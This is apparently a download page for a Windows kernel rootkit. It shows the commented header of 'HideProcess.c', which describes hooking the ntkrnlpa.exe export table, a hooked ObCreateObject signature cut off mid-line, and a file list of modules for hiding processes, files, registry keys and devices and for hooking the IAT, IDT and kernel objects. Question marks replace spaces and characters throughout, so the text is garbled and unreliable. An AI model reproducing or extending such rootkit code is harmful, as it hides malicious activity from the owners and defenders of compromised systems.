/***************************************************************************************
*?AUTHOR?:?趙峰輝?
*?TIME???:?2010/02?
*?MODULE?:?HideProcess.c
*?
*?Description:
*???對ntkrnlpa.exe的導出表進行HOOK????????????????
*
***
*?Copyright?（c）?2008?-?2010?趙峰輝.
*?Freely?distributable?in?source?or?binary?for?noncommercial?purposes.
*?TAKE?IT?EASYJUST?FOR?FUN.
*
****************************************************************************************/

#include?“EAT_HOOK.h“


NTSTATUS?__stdcall?fake_ObCreateobject（
							?KPROCESSOR_MODE?ProbeMode
							?Pobject_TYPE?objectType
							?Pobject_ATTRIBUTES?objectAttributes
							?KPROCESSOR_MODE?OwnershipMode
							?PVOID?ParseContext
							?ULONG?objectBodySize
							?ULONG?PagedPoolCharge
							?ULONG?NonPagedPoo

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件??????53248??2008-04-09?09:13??ROOTKIT\InstDrv.exe

?????文件???????4453??2010-05-01?13:08??ROOTKIT\rootkit\EAT_HOOK.c

?????文件???????1472??2010-02-23?23:37??ROOTKIT\rootkit\EAT_HOOK.h

?????文件???????5173??2010-05-01?13:02??ROOTKIT\rootkit\HideDevice.c

?????文件???????1679??2010-05-01?13:02??ROOTKIT\rootkit\HideDevice.h

?????文件??????30379??2010-04-22?22:00??ROOTKIT\rootkit\HideFile.c

?????文件???????4914??2010-04-22?22:00??ROOTKIT\rootkit\HideFile.h

?????文件???????8381??2010-05-01?13:27??ROOTKIT\rootkit\HideProcess.c

?????文件???????2852??2010-02-18?00:16??ROOTKIT\rootkit\HideProcess.h

?????文件???????6687??2010-02-17?16:59??ROOTKIT\rootkit\HideProcess1.c

?????文件???????4956??2010-02-17?17:00??ROOTKIT\rootkit\HideProcess1.h

?????文件???????4886??2010-02-15?16:50??ROOTKIT\rootkit\HideReg.c

?????文件???????2402??2010-02-17?18:07??ROOTKIT\rootkit\HideReg.h

?????文件???????8807??2010-02-23?14:26??ROOTKIT\rootkit\IAT_HOOK.c

?????文件???????1582??2010-02-22?17:35??ROOTKIT\rootkit\IAT_HOOK.h

?????文件???????1019??2010-02-23?16:06??ROOTKIT\rootkit\IDT_Hook.c

?????文件???????1714??2010-02-23?15:47??ROOTKIT\rootkit\IDT_HOOK.h

?????文件??????13054??2010-05-01?13:23??ROOTKIT\rootkit\Inline_HOOK.c

?????文件???????3682??2010-02-23?23:15??ROOTKIT\rootkit\Inline_HOOK.h

?????文件???????4079??2010-02-14?16:54??ROOTKIT\rootkit\KillProcess.c

?????文件???????1554??2010-02-17?18:08??ROOTKIT\rootkit\KillProcess.h

?????文件??????27580??2005-05-08?12:29??ROOTKIT\rootkit\libdasm.c

?????文件??????14712??2005-12-27?00:11??ROOTKIT\rootkit\libdasm.h

?????文件??????68040??2010-02-16?15:22??ROOTKIT\rootkit\MyDriver_Check\object_Hook.obj

?????文件???????9451??2008-08-12?01:30??ROOTKIT\rootkit\Nt.h

?????文件???????4588??2008-08-12?15:59??ROOTKIT\rootkit\NtWrap.c

?????文件???????5344??2010-04-26?22:58??ROOTKIT\rootkit\NtWrap.h

?????文件???????6276??2010-05-01?13:02??ROOTKIT\rootkit\object_Hook.c

?????文件???????1693??2010-02-16?17:13??ROOTKIT\rootkit\object_Hook.h

?????文件??????16675??2010-02-03?22:32??ROOTKIT\rootkit\pe.h

............此處省略22個文件信息